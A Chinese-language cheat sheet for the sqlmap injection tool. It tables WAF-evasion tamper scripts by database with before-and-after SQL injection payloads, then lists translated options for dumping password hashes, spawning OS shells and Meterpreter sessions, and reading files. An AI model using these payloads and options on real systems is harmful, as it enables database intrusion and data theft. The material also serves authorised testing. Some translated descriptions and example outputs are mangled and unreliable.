脚本
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。
--tamper "apostrophemask.py,base64encode.py,multiplespaces.py,space2plus.py" 脚本列表
| 支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
| all | 1 | apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) |
| ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ | ||||
| 2 | base64encode.py | 用base64编码替换 | (“1′ AND SLEEP(5)#”) | |
| ‘MScgQU5EIFNMRUVQKDUpIw==’ | ||||
| 3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) | |
| ‘1 UNION SELECT foobar’ | ||||
| 4 | space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) | |
| ‘SELECT+id+FROM+users’ | ||||
| 5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 | (‘1 UNION SELECT 2–‘) | |
| suitable for替代(例如 .replace(“SELECT”、””)) filters | ‘1 UNIOUNIONN SELESELECTCT 2–‘ | |||
| 6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 | (‘SELECT id FROM users’) | |
| 白字符可选字符的有效集 | ‘SELECT%0Did%0DFROM%0Ausers’ | |||
| 7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) | |
| ‘-1 UNION SELECT’ | ||||
| 8 | securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) | |
| “1 AND 1=1 and ‘0having’=’0having'” | ||||
| mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | |
| ‘1 AND 9227=9227’ | ||||
| ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’ | ||||
| 2 | equaltolike.py | like 代替等号 | ||
| * Input: SELECT * FROM users WHERE id=1 | ||||
| 2 * Output: SELECT * FROM users WHERE id LIKE 1 | ||||
| 3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users | |
| Output: SELECT%08id%02FROM%0Fusers | ||||
| 4 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) | |
| ‘1%23%0AAND%23%0A9227=9227’ | ||||
| 5 | between.py | 用between替换大于号(>) | (‘1 AND A > B–‘) | |
| ‘1 AND A NOT BETWEEN 0 AND B–‘ | ||||
| 6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE | |
| * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | ||||
| 7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227– ‘) | |
| ‘1 AND 9227=9227– sp_password’ | ||||
| 8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE | |
| * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ||||
| 9 | randomcase.py | 随机大小写 | * Input: INSERT | |
| * Output: InsERt | ||||
| 10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE | |
| * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ||||
| 11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users | |
| * Output: SELECT//id//FROM/**/users | ||||
| mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | |
| * Input: SELECT * FROM users WHERE id=1 | ||||
| 2 * Output: SELECT * FROM users WHERE id LIKE 1 | ||||
| 2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) | |
| ‘1 AND GREATEST(A,B+1)=A’ | ||||
| 3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) | |
| ‘1 AND %00%271%00%27=%00%271’ | ||||
| 4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 | (‘IFNULL(1, 2)’) | |
| 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ‘IF(ISNULL(1),2,1)’ | |||
| 5 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) | |
| ‘1%23%0AAND%23%0A9227=9227’ | ||||
| 6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1–‘) | |
| ‘1 /*!30874AND 2>1*/–‘ | ||||
| 7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users | |
| Output: SELECT%0Bid%0BFROM%A0users | ||||
| 8 | between.py | 用between替换大于号(>) | (‘1 AND A > B–‘) | |
| ‘1 AND A NOT BETWEEN 0 AND B–‘ | ||||
| 9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–‘) | |
| ‘1 /*!00000AND 2>1*/–‘ | ||||
| 10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) | |
| ‘1–%0AAND–%0A9227=9227’ | ||||
| 11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 | (‘SELECT id FROM users where id = 1’) | |
| 然后替换=为like | ‘SELECT%09id FROM users where id LIKE 1’ | |||
| 12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE | |
| * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | ||||
| 13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE | |
| * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ||||
| 14 | randomcase.py | 随机大小写 | * Input: INSERT | |
| * Output: InsERt | ||||
| 15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# | |
| * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# | ||||
| 16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users | |
| * Output: SELECT//id//FROM/**/users | ||||
| 17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE | |
| * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ||||
| 18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# | |
| * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# | ||||
| MySQL < 5.1 | 1 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa |
| * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa | ||||
| 2 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 | 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) | |
| mysql版本评论 | 2.”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa” | |||
| MySQL >= 5.1.13 | 1 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 |
| * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 | ||||
| Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) |
| ‘1 AND GREATEST(A,B+1)=A’ | ||||
| 2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) | |
| ‘1 AND %00%271%00%27=%00%271’ | ||||
| 3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–‘) | |
| ‘1 AND A NOT BETWEEN 0 AND B–‘ | ||||
| 4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE | |
| * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ||||
| 5 | randomcase.py | 随机大小写 | * Input: INSERT | |
| * Output: InsERt | ||||
| 6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE | |
| * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ||||
| 7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users | |
| * Output: SELECT//id//FROM/**/users | ||||
| PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) |
| ‘1 AND GREATEST(A,B+1)=A’ | ||||
| 2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) | |
| ‘1 AND %00%271%00%27=%00%271’ | ||||
| 3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–‘) | |
| ‘1 AND A NOT BETWEEN 0 AND B–‘ | ||||
| 4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE | |
| * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | ||||
| 5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE | |
| * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ||||
| 6 | randomcase.py | 随机大小写 | * Input: INSERT | |
| * Output: InsERt | ||||
| 7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE | |
| * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ||||
| 8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users | |
| * Output: SELECT//id//FROM/**/users | ||||
| Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) |
| ‘1 AND 1=1%00’ | ||||
| 其他 | 1 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE |
| * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | ||||
| 2 | unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 | |
| * Output: 1%bf%27 AND 1=1–%20 | ||||
| 3 | randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
命令详解
Options:
-h, --help 显示基本帮助消息并退出
-hh 展示先进的帮助信息并退出
--version 显示程序的版本号并退出
-v VERBOSE 冗长水平:0 - 6(默认 1)
目标:
必须至少提供其中一个选项来定义目标
-u URL, --url=URL 目标URL(例如 "http://www.site.com/vuln.php?id=1")
-d DIRECT 连接字符串直接数据库连接
-l LOGFILE 解析目标(s)从打嗝或WebScarab代理日志文件
-m BULKFILE 扫描多个目标在一个文本文件
-r REQUESTFILE 从文件中加载HTTP请求
-g GOOGLEDORK 将Google dork结果作为目标URL处理
-c CONFIGFILE 从一个配置加载选项INI文件
请求:
这些选项可用于指定如何连接到目标URL
-A AGENT, --user.. HTTP用户代理头的值
-H HEADER, --hea.. 额外的头(例如 "X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制使用给定HTTP方法(例如 PUT)
--data=DATA 通过POST发送的数据字符串(例如 "id=1")
--param-del=PARA.. 用于拆分参数值的字符(例如 &
--cookie=COOKIE HTTP Cookie头的值(例如 "PHPSESSID=a8d127e..")
--cookie-del=COO.. 用于拆分cookie值的字符(例如 ;)
--live-cookies=L.. 用于加载最新值的实时cookie文件
--load-cookies=L.. 包含Netscape/wget格式cookie的文件
--drop-set-cookie 忽略响应中的Set Cookie标头
--mobile 模仿智能手机通过HTTP代理头
--random-agent 使用随机选择的HTTP用户代理标头值
--host=HOST HTTP主机头的值
--referer=REFERER HTTP引用页头的值
--headers=HEADERS 额外的标题(例如"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP身份验证类型(Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP身份验证凭证(名称:密码)
--auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件
--ignore-code=IG.. 忽略(问题)的HTTP错误代码(例如: 401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向的尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用一个代理连接到目标URL
--proxy-cred=PRO.. 代理身份验证凭证(名称:密码)
--proxy-file=PRO.. 从文件加载代理列表
--proxy-freq=PRO.. 请求改变之间的代理从一个给定的列表
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口,而不是默认值
--tor-type=TORTYPE 设置Tor代理类型(HTTP、SOCKS4或SOCKS5(默认)
--check-tor 查看是否正确使用Tor
--delay=DELAY 每个HTTP请求之间的延迟(秒)
--timeout=TIMEOUT 超时连接前等待的秒数(默认值 30)
--retries=RETRIES 重试时连接超时(默认 3)
--retry-on=RETRYON 对匹配内容的正则表达式重试请求(例如 "drop")
--randomize=RPARAM 对于给定的参数随机变化值(s)
--safe-url=SAFEURL URL地址访问期间经常测试
--safe-post=SAFE.. POST数据发送到一个安全的URL
--safe-req=SAFER.. 从一个文件装载安全的HTTP请求
--safe-freq=SAFE.. 定期请求访问一个安全的URL
--skip-urlencode 跳过URL编码的有效载荷数据
--csrf-token=CSR.. 参数用于保存anti-CSRF令牌
--csrf-url=CSRFURL URL地址为提取anti-CSRF访问令牌
--csrf-method=CS.. HTTP方法使用anti-CSRF标记页面访问期间
--csrf-data=CSRF.. POST数据发送anti-CSRF标记页面访问期间
--csrf-retries=C.. 重试anti-CSRF令牌检索(默认 0)
--force-ssl 强制使用SSL/HTTPS
--chunked 使用HTTP分块传输编码(POST)请求
--hpp 使用HTTP参数污染的方法
--eval=EVALCODE 请求之前评估提供Python代码(例如 "import
hashlib;id2=hashlib.md5(id).hexdigest()")
优化:
这些选项可用于优化sqlmap的性能
-o 打开所有优化开关
--predict-output 预测常见的查询输出
--keep-alive 使用持久HTTP (s)连接
--null-connection 检索页面长度没有实际的HTTP响应的身体
--threads=THREADS 最大并发HTTP (s)请求(默认 1)
注射:
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本
-p TESTPARAMETER 可测试参数
--skip=SKIP 跳过测试对于给定参数(s)
--skip-static 跳过测试参数不似乎是动态的
--param-exclude=.. Regexp排除参数测试(例如 "ses")
--param-filter=P.. 选择测试的参数(s)的位置(例如 "POST")
--dbms=DBMS 强制后端DBMS提供值
--dbms-cred=DBMS.. DBMS身份验证凭据(用户:密码)
--os=OS 强制后端DBMS操作系统提供价值
--invalid-bignum 使用大量无效值
--invalid-logical 使用逻辑操作无效值
--invalid-string 使用随机字符串无效值
--no-cast 关掉负载铸造机制
--no-escape 关掉字符串转义机制
--prefix=PREFIX 注入载荷前缀字符串
--suffix=SUFFIX 注入载荷后缀字符串
--tamper=TAMPER 使用给定的脚本(s)篡改注入数据
侦查:
这些选项可用于自定义检测阶段
--level=LEVEL 要执行的测试的水平(1-5,默认 1)
--risk=RISK 要执行的测试的风险(1-3,默认 1)
--string=STRING 查询字符串来匹配时求值为True
--not-string=NOT.. 字符串匹配时查询计算为False
--regexp=REGEXP Regexp匹配查询时求值为True
--code=CODE HTTP代码查询评估为True时匹配
--smart 进行彻底的测试只有在积极的启发式(s)
--text-only 页面只基于文本内容进行比较
--titles 比较页面仅基于他们的头衔
技术:
这些选项可用于调整特定SQL注入技术的测试
--technique=TECH.. 要使用的SQL注入技术(默认 "BEUSTQ")
--time-sec=TIMESEC 秒延迟DBMS响应(默认 5)
--union-cols=UCOLS 列的SQL注入的测试联合查询
--union-char=UCHAR 字符用于bruteforcing列数
--union-from=UFROM UNION查询SQL注入的FROM部分中使用的表
--dns-domain=DNS.. 域名用于DNS漏出攻击
--second-url=SEC.. 产生的页面的URL搜索二阶响应
--second-req=SEC.. 从文件加载二阶HTTP请求
Fingerprint:
-f, --fingerprint 执行一个广泛的DBMS版本指纹
枚举:
这些选项可用于枚举表中包含的后端数据库管理系统信息、结构和数据
-a, --all 检索所有
-b, --banner 检索DBMS横幅
--current-user 获取当前用户数据库管理系统
--current-db 检索DBMS当前数据库
--hostname 检索DBMS服务器主机名
--is-dba 检测是否DBA DBMS当前用户
--users 列举DBMS用户
--passwords 列举DBMS用户 password hashes
--privileges 列举DBMS用户 privileges
--roles 列举DBMS用户 roles
--dbs 列举DBMS数据库
--tables 列举DBMS数据库表
--columns 列举DBMS数据库表列
--schema 枚举 DBMS 模式
--count 检索表(s)的条目数量
--dump 转储DBMS数据库表条目
--dump-all 转储所有DBMS数据库表条目
--search 搜索列、表和/或数据库名称
--comments 枚举期间检查DBMS注释
--statements 检索SQL语句被运行在DBMS
-D DB 数据库管理系统数据库来列举
-T TBL 数据库管理系统数据库表(s)列举
-C COL 数据库管理系统数据库表列(s)枚举
-X EXCLUDE 数据库管理系统数据库标识符(s)不列举
-U USER DBMS用户列举
--exclude-sysdbs 列举表时排除DBMS系统数据库
--pivot-column=P.. 主列名称
--where=DUMPWHERE 使用条件而表倾销
--start=LIMITSTART 第一个转储表条目检索
--stop=LIMITSTOP 去年转储表条目检索
--first=FIRSTCHAR 第一个查询输出单词字符检索
--last=LASTCHAR 最后输出单词字符检索查询
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell 提示一个交互式SQL壳
--sql-file=SQLFILE 从给定的文件执行的SQL语句(s)
蛮力破解:
这些选项可用于运行暴力检查
--common-tables 检查存在的常见的表
--common-columns 检查是否存在共同的列
--common-files 检查公共文件的存在
用户定义函数注入:
这些选项可用于创建自定义用户定义函数
--udf-inject 注入自定义用户定义函数
--shared-lib=SHLIB 共享库的本地路径
文件系统访问:
这些选项可用于访问后端数据库管理系统底层文件系统
--file-read=FILE.. 读取一个文件从文件系统后端数据库管理系统
--file-write=FIL.. 写一个本地文件的后端数据库管理系统的文件系统
--file-dest=FILE.. 后端DBMS绝对filepath写
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
--os-cmd=OSCMD 执行一个操作系统命令
--os-shell 提示一个交互式操作系统shell
--os-pwn OOB shell提示,Meterpreter或VNC
--os-smbrelay 一个点击提示OOB壳,Meterpreter或VNC
--os-bof 存储过程缓冲区溢出exploitation
--priv-esc 数据库处理用户特权升级
--msf-path=MSFPATH 地方道路Metasploit框架安装
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
这些选项可用于访问后端数据库管理系统Windows注册表
--reg-read 读一个Windows注册表键值
--reg-add 写一个Windows注册表键值数据
--reg-del 删除一个Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表键 value
--reg-data=REGDATA Windows注册表键 value data
--reg-type=REGTYPE Windows注册表键 value type
全体的:
这些选项可用于设置一些常规工作参数
-s SESSIONFILE 从一个存储加载会话(.sqlite)文件
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
--answers=ANSWERS 预定义的答案(例如 "quit=N,follow=N")
--base64=BASE64P.. 包含Base64编码数据的参数(年代)
--base64-safe 使用URL和文件名安全Base64字母表(RFC 4648)
--batch 从来没有要求用户输入,使用默认的行为
--binary-fields=.. 结果字段有二进制值(例如 "digest")
--check-internet 检查网络连接之前评估的目标
--cleanup 清理的DBMS sqlmap特定UDF和表
--crawl=CRAWLDEPTH 爬行网站从目标URL
--crawl-exclude=.. Regexp排除页面爬行(例如 "logout")
--csv-del=CSVDEL (CSV输出中使用的分隔字符 (默认 ",")
--charset=CHARSET 盲SQL注入字符集(例如 "0123456789abcdef")
--dump-file=DUMP.. 将数据存储到一个自定义文件
--dump-format=DU.. 了数据的格式(CSV(默认)、HTML或SQLITE)
--encoding=ENCOD.. 字符编码用于数据检索(例如GBK)
--eta 预计到达时间为每个输出显示
--flush-session 冲洗会话文件当前的目标
--forms 解析和测试目标URL形式
--fresh-queries 忽略查询结果存储在会话文件中
--gpage=GOOGLEPAGE 使用指定页码的Google dork结果
--har=HARFILE 记录所有HTTP流量HAR文件
--hex 在数据检索使用十六进制转换
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 从响应解析和显示DBMS的错误消息
--preprocess=PRE.. 使用给定的脚本(s)预处理(请求)
--postprocess=PO.. 使用给定的脚本(s)后处理(响应)
--repair Redump条目有未知字符标记(?)
--save=SAVECONFIG 保存选项来配置INI文件
--scope=SCOPE Regexp过滤目标
--skip-heuristics 跳过启发式检测漏洞
--skip-waf 跳过WAF/IPS保护的启发式检测
--table-prefix=T.. 前缀用于临时表(默认值: "sqlmap")
--test-filter=TE.. 按有效载荷和/或标题选择测试(例如 ROW)
--test-skip=TEST.. 按有效载荷和/或标题跳过测试(例如 BENCHMARK)
--web-root=WEBROOT Web服务器的文档根目录(例如 "/var/www")
混杂的:
这些选项不属于任何其他类别
-z MNEMONICS 使用短助记符(例如 "flu,bat,ban,tec=EU")
--alert=ALERT 运行主机操作系统命令(s) SQL注入时发现
--beep 出现问题和/或发现漏洞时发出蜂鸣声
--dependencies 检查丢失(可选)sqlmap依赖性
--disable-coloring 禁用控制台输出颜色
--list-tampers 显示列表可用夯的脚本
--no-logging 禁用日志记录到一个文件
--offline 在离线模式下工作(只使用会话数据)
--purge 从sqlmap数据目录中安全地删除所有内容
--results-file=R.. 在多个目标模式下结果CSV文件的位置
--shell 提示一个交互式sqlmap壳
--tmp-dir=TMPDIR 本地目录用于存储临时文件
--unstable 调整选项不稳定的连接
--update 更新sqlmap
--wizard 为新手用户简单的向导界面文章参考:Sqlmap使用方法总结
